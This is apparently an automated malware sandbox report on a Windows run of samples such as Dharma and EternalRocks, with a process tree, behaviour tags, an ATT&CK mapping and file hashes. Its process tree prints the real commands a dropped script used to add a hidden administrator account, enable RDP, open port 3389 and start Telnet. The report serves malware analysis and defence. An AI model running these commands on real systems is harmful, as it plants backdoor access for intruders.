"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
2⤵
PID:1848

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
2⤵
PID:4952

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5268 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:328

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5556 /prefetch:1
2⤵
PID:2676

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5420 /prefetch:1
2⤵
PID:4184

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3276 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2708

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
2⤵
PID:2284

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
2⤵
PID:2140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3632 /prefetch:1
2⤵
PID:2400

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6060 /prefetch:1
2⤵
PID:4760

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5876 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3428

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3656 /prefetch:1
2⤵
PID:1100

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5004 /prefetch:1
2⤵
PID:1768

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4864 /prefetch:8
2⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:5076

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:32

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3272

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1496

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\JoinDisable.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:4484

C:\Windows\System32\DataExchangeHost.exe
C:\Windows\System32\DataExchangeHost.exe -Embedding
1⤵
PID:2000

C:\Users\Admin\Desktop\New folder\Dharma.exe
"C:\Users\Admin\Desktop\New folder\Dharma.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:2700

C:\Users\Admin\Desktop\New folder\ac\nc123.exe
"C:\Users\Admin\Desktop\New folder\ac\nc123.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2960

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cls
3⤵
- System Location Discovery: System Language Discovery
PID:3820

C:\Users\Admin\Desktop\New folder\ac\mssql.exe
"C:\Users\Admin\Desktop\New folder\ac\mssql.exe"
2⤵
- Sets service image path in registry
- Executes dropped EXE
- Impair Defenses: Safe Mode Boot
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2372

C:\Users\Admin\Desktop\New folder\ac\mssql2.exe
"C:\Users\Admin\Desktop\New folder\ac\mssql2.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3852

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\New folder\ac\Shadow.bat" "
2⤵
- System Location Discovery: System Language Discovery
PID:3576

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\New folder\ac\systembackup.bat" "
2⤵
- System Location Discovery: System Language Discovery
PID:848

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
3⤵
- System Location Discovery: System Language Discovery
PID:4768

C:\Windows\SysWOW64\Wbem\WMIC.exe
WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2704

C:\Windows\SysWOW64\find.exe
Find "="
4⤵
- System Location Discovery: System Language Discovery
PID:1052

C:\Windows\SysWOW64\net.exe
net user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
3⤵
- System Location Discovery: System Language Discovery
PID:4812

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
4⤵
- System Location Discovery: System Language Discovery
PID:4376

C:\Windows\SysWOW64\net.exe
net localgroup Administrators systembackup /add
3⤵
- System Location Discovery: System Language Discovery
PID:4996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators systembackup /add
4⤵
- System Location Discovery: System Language Discovery
PID:5084

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
3⤵
- System Location Discovery: System Language Discovery
PID:4848

C:\Windows\SysWOW64\Wbem\WMIC.exe
WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
4⤵
- System Location Discovery: System Language Discovery
PID:2848

C:\Windows\SysWOW64\find.exe
Find "="
4⤵
- System Location Discovery: System Language Discovery
PID:1952

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" systembackup /add
3⤵
- Remote Service Session Hijacking: RDP Hijacking
- System Location Discovery: System Language Discovery
PID:4156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" systembackup /add
4⤵
- Remote Service Session Hijacking: RDP Hijacking
- System Location Discovery: System Language Discovery
PID:2808

C:\Windows\SysWOW64\net.exe
net accounts /forcelogoff:no /maxpwage:unlimited
3⤵
- System Location Discovery: System Language Discovery
PID:4564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
4⤵
- System Location Discovery: System Language Discovery
PID:4532

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
3⤵
- System Location Discovery: System Language Discovery
PID:1524

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
3⤵
- System Location Discovery: System Language Discovery
PID:336

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systembackup /t REG_DWORD /d 0x0 /f
3⤵
- Hide Artifacts: Hidden Users
- System Location Discovery: System Language Discovery
PID:1484

C:\Windows\SysWOW64\attrib.exe
attrib C:\users\systembackup +r +a +s +h
3⤵
- Sets file to hidden
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:1880

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening TCP 3389 "Remote Desktop"
3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:5040

C:\Windows\SysWOW64\sc.exe
sc config tlntsvr start=auto
3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3184

C:\Windows\SysWOW64\net.exe
net start Telnet
3⤵
- System Location Discovery: System Language Discovery
PID:2796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start Telnet
4⤵
- System Location Discovery: System Language Discovery
PID:1992

C:\Users\Admin\Desktop\New folder\ac\EVER\SearchHost.exe
"C:\Users\Admin\Desktop\New folder\ac\EVER\SearchHost.exe"
2⤵
- Executes dropped EXE
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:1980

C:\Users\Admin\Desktop\New folder\EternalRocks.exe
"C:\Users\Admin\Desktop\New folder\EternalRocks.exe"
1⤵
PID:2484

C:\Users\Admin\Desktop\New folder\Fagot.a.exe
"C:\Users\Admin\Desktop\New folder\Fagot.a.exe"
1⤵
- Modifies WinLogon for persistence
- Manipulates Digital Signatures
- Impair Defenses: Safe Mode Boot
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies Internet Explorer start page
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2332

C:\Users\Admin\Desktop\New folder\Fantom.exe
"C:\Users\Admin\Desktop\New folder\Fantom.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:3908

C:\Users\Admin\Desktop\New folder\Flasher.exe
"C:\Users\Admin\Desktop\New folder\Flasher.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:2316

C:\Users\Admin\Desktop\New folder\FlashKiller.exe
"C:\Users\Admin\Desktop\New folder\FlashKiller.exe"
1⤵
PID:3632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3632 -s 252
2⤵
- Program crash
PID:4476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3632 -ip 3632
1⤵
PID:3948

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa39d2055 /state1:0x41c64e6d
1⤵
PID:1348

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Safe Mode Boot

T1562.009

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Users

T1564.002

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Password Policy Discovery

T1201

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
4c3889d3f0d2246f800c495aec7c3f7c

SHA1
dd38e6bf74617bfcf9d6cceff2f746a094114220

SHA256
0a4781bca132edf11500537cbf95ff840c2b6fd33cd94809ca9929f00044bea4

SHA512
2d6cb23e2977c0890f69751a96daeb71e0f12089625f32b34b032615435408f21047b90c19de09f83ef99957681440fdc0c985e079bb196371881b5fdca68a37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
c4a10f6df4922438ca68ada540730100

SHA1
4c7bfbe3e2358a28bf5b024c4be485fa6773629e

SHA256
f286c908fea67163f02532503b5555a939f894c6f2e683d80679b7e5726a7c02

SHA512
b4d407341989e0bbbe0cdd64f7757bea17f0141a89104301dd7ffe45e7511d3ea27c53306381a29c24df68bdb9677eb8c07d4d88874d86aba41bb6f0ce7a942c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
2KB

MD5
8107fb347bc11e65085f96739a379577

SHA1
20beb3369f74b6c953369c0fc647d8af33daa023

SHA256
197ece9a50b64500b8581d4b2e541959ca24507c4619990bfc53a3de9fbad392

SHA512
74de0dc5f44c3ea55495660e557e350a499d4458a753ca8b5b5981997c7eb13a41913b9cdf07c6aeb15e6950f0eeab429ea4407c6a784d2c82f1c7f8702837b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
573B

MD5
f83773a679edc3c4703652b91dd47495

SHA1
1bc6265839181383818c7e3862fd165fb6d0918a

SHA256
dee5ecb4508cda27c1f9cc2a4c4b98b99698c322fbce2d59c7ea758ac90222f4

SHA512
4b7318590553c7de646b838216fa68ce8671aa0deb9cf59c9bceed2e4553560b65b8f053e91708e70e7756411cbf7c1a37370a8def4bccdbb9b23427e1b1210e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
573B

MD5
94716db8a4f3d9b64b6c3234c31ab99e

SHA1
212ef4fb095c5d4f3f7cf7ffb3d4bdbd175b270f

SHA256
31b69e06e12f39d0cf66a18d7ae456a451f7a085d6adc5891f4268771dc2398e

SHA512
1f6cacaa86694623245f1e1b70252b319c7ffac2fb554a038f780242216ff197e0ec38a6f28aad8bf142c25ed9cd05f23516dd9b5b03a811ed6eb40daf4c2d0e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
762ac6cf1c5afa793e5b3795a3023f37

SHA1
204314169c9973a5034ab6862baf03664617a698

SHA256
5fb74f484b7ac7c0eb558c847c9637abcef2466f8bf886cddc89f96169fd6c42

SHA512
1b3e8285ea8dedc918830e70a49b18dcca7c0a50a50ce52ace19c283c07a48970527035569fc5a84f7d2be8f0e4f83adbeb4271090b4fc5668e9463e0bef5a6b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
b9dba548b942827cb97560c363d56603

SHA1
def78a6c9341a233272e3bedc97ce35966a824c9

SHA256
38bace7d1a970b7a52fca220ea8f6c354cb9618e87d657e0f094a6cd6c38b7ee

SHA512
088116f7b255ed9031ff233ecf5e877cec9e9a3a1365f559a45d827de0c3edec902ceb117b7c359503f24aaaf9dd570ded9618b8e7193f698467b435696f55aa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
4014b569442a9344b2f84ffe240de1c0

SHA1
90704788dfbb2560cf92bff05fb5e2f157b48ffd

SHA256
cbf8357f9f1b873ea65c631fab89eada13abe75b77f4fa2af69da93235cb9bc1

SHA512
8c1066f56a01918f38d4aaac8aaeb92a3300d1c85918d19c0a351a164b86b709263f68b9be2b364fb97e5717b0409ef1da31ec35eee97445c13bce826085d07d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
84660d1b714c0f2d75a6c7f86c28d018

SHA1
22831ffddcdf05bdde175b21f42b071502f5e934

SHA256
bc5124e822a9ac7ba2fa759cda233b1234000b7d9c1e319a983b018c3ea40b57

SHA512
aef2a524257a449569e288388d191741ffeaa4b7ee01ed9753279520ce8ec8e49fae71749909f70386c993bcb54888d03c1d437e082f813f49900d30692d86d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
76460f4e3adb16b3c77c70a49954db7f

SHA1
0840895feed9103f1401b386f007ca8c188b57be

SHA256
5e55b7d6f66a4d12213ca4177a064b90d4a4b11f0d0a44a25fdd656d1d734e27

SHA512
849030c7de292f73c78de85680e0e2331421acf19efdfee68e0ed963eb9c1157e56b57bd36cf6dad79e2504b94a76dd87050eb075dee889337314e6f1dd4eb00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
3aab5d80c9a360a0d025c470db1d7493

SHA1
6606063188672a83bc67398210f2a502ac004ae2

SHA256
fe259cd493d90d07d44270c96d4b0e96eef28f6f2eeb24f0da612b24f15930bf

SHA512
97e2d22bd80596ff3a43ec7b68b3de6424f316527a4ef1c1e58634c9b871163ad8c564f0ec41bc39abc4338d2f33455575e000361d341a60829369390055e562

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
1KB

MD5
28495c4da1e6e39db55be4459aacb430

SHA1
4c211ffbd54d56eda28b41ebdeeb2376aa53cf84

SHA256
284a1fa26df45e1ce4299f4a8228891b2af44129515f976723e8147c25ab0f07

SHA512
cf28fdd1969d2059b1af83f3f1191649bb4318efd984901c5d78b8267575b2ce1b6b54ba56b7cae23da6870f6a28dacee709486079cec4416a6ef9264145d3da

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
1KB

MD5
4efbea40fa27745b18612d929cd6285a

SHA1
c69cc6bcbaaa3332f287854a4515d9832807cf10

SHA256
47d69bfcbee5326e703f87d641bbdbaefefefea564a477209e40608a3797f0f2

SHA512
83719e88edeb3f498b552987e0fb3c51189a7667e47a305e91db91db88e31a82c09556daad9dee7fbecc0b72c094e7bb0675794ee2b1e29d136af94825ee3bda

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
1KB

MD5
30bdf2444f6bad7769bf52dc94333330

SHA1
cfe07b41b28aa8c044cf2a61b21be68fc61548eb

SHA256
8abc9818231ea0f72467aaef1f4edade135c2bf672d9b1c28da1a174788ced3d

SHA512
79fbf157766759e3c30b82bb49c11509f7efc2f9a80d68d8ec945dcbf5fce1e9836d408d47ef87ccc6d526d693cd1931bedc513cd6afb931ff896854a82a11a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57f28e.TMP
Filesize
866B

MD5
6738ca3172ec5eebd3fba0c288537f15

SHA1
05d10f4574e5e21933ed2f9b4bc73d1cc2306565

SHA256
7bf09c5a7cd46bf1638a44ec1c262f6d5d86b6a6a1388c99a807f756b88d82df

SHA512
3e569c9b969db10abf100abcc81f0915c6ffc43f03130960c084d71672ecf2175ca5fd75dec9213c98147b6cc932ad440f8c152cd5d1eb563e4b0892b20ac0e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
aeef071f89b92439598ec6f32a6ab9d2

SHA1
e4acfba9b2fb0ff787797de3a5755650c2d54d3b

SHA256
e25631cce2bfe93d8da8e75e78d66537e332a2a3f5ebb648f8c51376bd144b1c

SHA512
2d1910105f37950ae2df0a6f2395beb01e234e53f6bb17b956d267dee4cb923275894555a5e675dca99bd3b7e559eb3634c4861b813655eae604f2af12e93284

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
658e7eba3db9936d0f753d6c6e7dab7f

SHA1
17c03fb7a61e85d614e72d856fab6f5147ed8a22

SHA256
04128d20dcbc66c653970fc1bc1540675302f1efb167efffd0ef4c38ee431b16

SHA512
db36fd9eca7258f482cbc8d497e82500fa2c0ffd5709f9c235ec085c50848ed4763fb070c013f7bb4eeb1d9d5993cb92fbc0f3f4e7eddcd76a4503a01f1c81b2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
bcc50938802d59cddba84b0da32c9cc9

SHA1
c2aee7cbf2a5ffdbd0890a41eaee9904d28000e3

SHA256
5c0238f4b5acdc134b2eb22dab53d19f22534da260757edbf2ce6bc206344e78

SHA512
2d4a23422b23c6976af40057f8051faa1119f02edfdb4f85bf123e2cff18bc8c97c97d30f2b3eaf4c25d5deea2ddcb03f73f535e5c5869723604c641344a6202

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
0098f49eece1f7af3c1011456544514c

SHA1
f6b67d135b08c2ac21ce6d14125479eccfab48df

SHA256
1d110f40478518518dbfbd76a972dbb8491ee478e17689b371d57c5172e88a9f

SHA512
a6dc7ab059537b886c1f1952d69792a19eb9f6094c2fca13bcbe744150df95b283db74fe5a291e778f8b2b515d8c102d06d0eb6ee40c48c569f74af1fe26cd43

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
4da4af6cbe79b68378e805c362c32c32

SHA1
c8cd262b703919780caf02f4fe8d11fa6d7c6014

SHA256
705a05b846884bca30c6249bc25d7a8b2a6f59759660b0ce44797df5beb2fa73

SHA512
606c132e2cc1e789ec591f1913df636ea8c13c2cc2ffc5122eee6835693f9def044631a806fd7b26f101127d4a3ae8dcd0dbd455070d1082b7bdf004263b35a5

Download Submit
C:\Users\Admin\Desktop\New folder\BonziKill.txt
Filesize
198B

MD5
d5d9094b24ee344ca83e342175df4750

SHA1
e12568dadb918e941df1a41104e67832f9011c1b

SHA256
c207b0a91f8c340ea9b08f334dcfaaeb5307eecb1bfb01d68cc7b9ad994a037c

SHA512
56375b35df448874cb2f8622de19d2b30cab63aec90a84a746ff6633ed37c30b9575c159306c60b78c32a0f12a92684b1f2bdba95f75e9bcd109b89c2336135d

Download Submit
C:\Users\Admin\Desktop\New folder\CobaltStrike.doc
Filesize
86KB

MD5
96ff9d4cac8d3a8e73c33fc6bf72f198

SHA1
17d7edf6e496dec4695d686e7d0e422081cd5cbe

SHA256
96db5d52f4addf46b0a41d45351a52041d9e5368aead642402db577bcb33cc3d

SHA512
23659fb32dff24b17caffaf94133dac253ccde16ea1ad4d378563b16e99cb10b3d7e9dacf1b95911cd54a2cad4710e48c109ab73796b954cd20844833d3a7c46

Download Submit
C:\Users\Admin\Desktop\New folder\Grave.apk
Filesize
560KB

MD5
61b29201190909e848107d93063726ca

SHA1
f6505a3b56fdbbc54e1624793581afe45010c890

SHA256
64c874d0a67387d174fbf18811ef23e9d9b0f532ed7f805e542dacdf3c9d42f9

SHA512
a2e8fa752d62e77e20e6fd86b7c6de3e683e41932eef448164944bd5f5dbb91ccf4380b3c13943e5c0264b9127b7f5e471ece68753af541d408caefae1065930

Download Submit
C:\Users\Admin\Desktop\New folder\Malum.apk
Filesize
2.8MB

MD5
28ac5460e68eb83737ae2d3cd4f1d49f

SHA1
97fc58ce2d7d952fe512856a0d3f52fa68329a9b

SHA256
b2f3fe699dc862eeb3f471c0ee3075f5edfa7aa9f9eb3815cf34802f24112397

SHA512
1ef7ed4de0157378e07380c6b493da7f53b3b7c5d419fb1d1a60d16a5403cdce38645d22bf0c0d9dc2e2ea2ceee5ccf1b9a8e8e34d88a033fa9ad1ec7a8d73b1

Download Submit
C:\Users\Admin\Desktop\New folder\Mobile_Legends_Adventure.apk
Filesize
4.0MB

MD5
42585ccd2b7867c12052653e4d54b7cc

SHA1
a9348c3aabcc0171d1e35edeb37fd2da0fff0ad4

SHA256
b47bcc55ca8dc0625a145d6809cfa3ad78e9e3b4f33bc608b5bcaf7e9e1e5827

SHA512
e270bd1fbbaaccf3382048e9ac2489444a735ed32fb83f7681526a1edb0b7847d6adb8d75064b065309293ef75c45e2ea85fb132a1c12afd08b3a1346caad550

Download Submit
C:\Users\Admin\Desktop\New folder\ac\EVER\SearchHost.exe
Filesize
1.6MB

MD5
8add121fa398ebf83e8b5db8f17b45e0

SHA1
c8107e5c5e20349a39d32f424668139a36e6cfd0

SHA256
35c4a6c1474eb870eec901cef823cc4931919a4e963c432ce9efbb30c2d8a413

SHA512
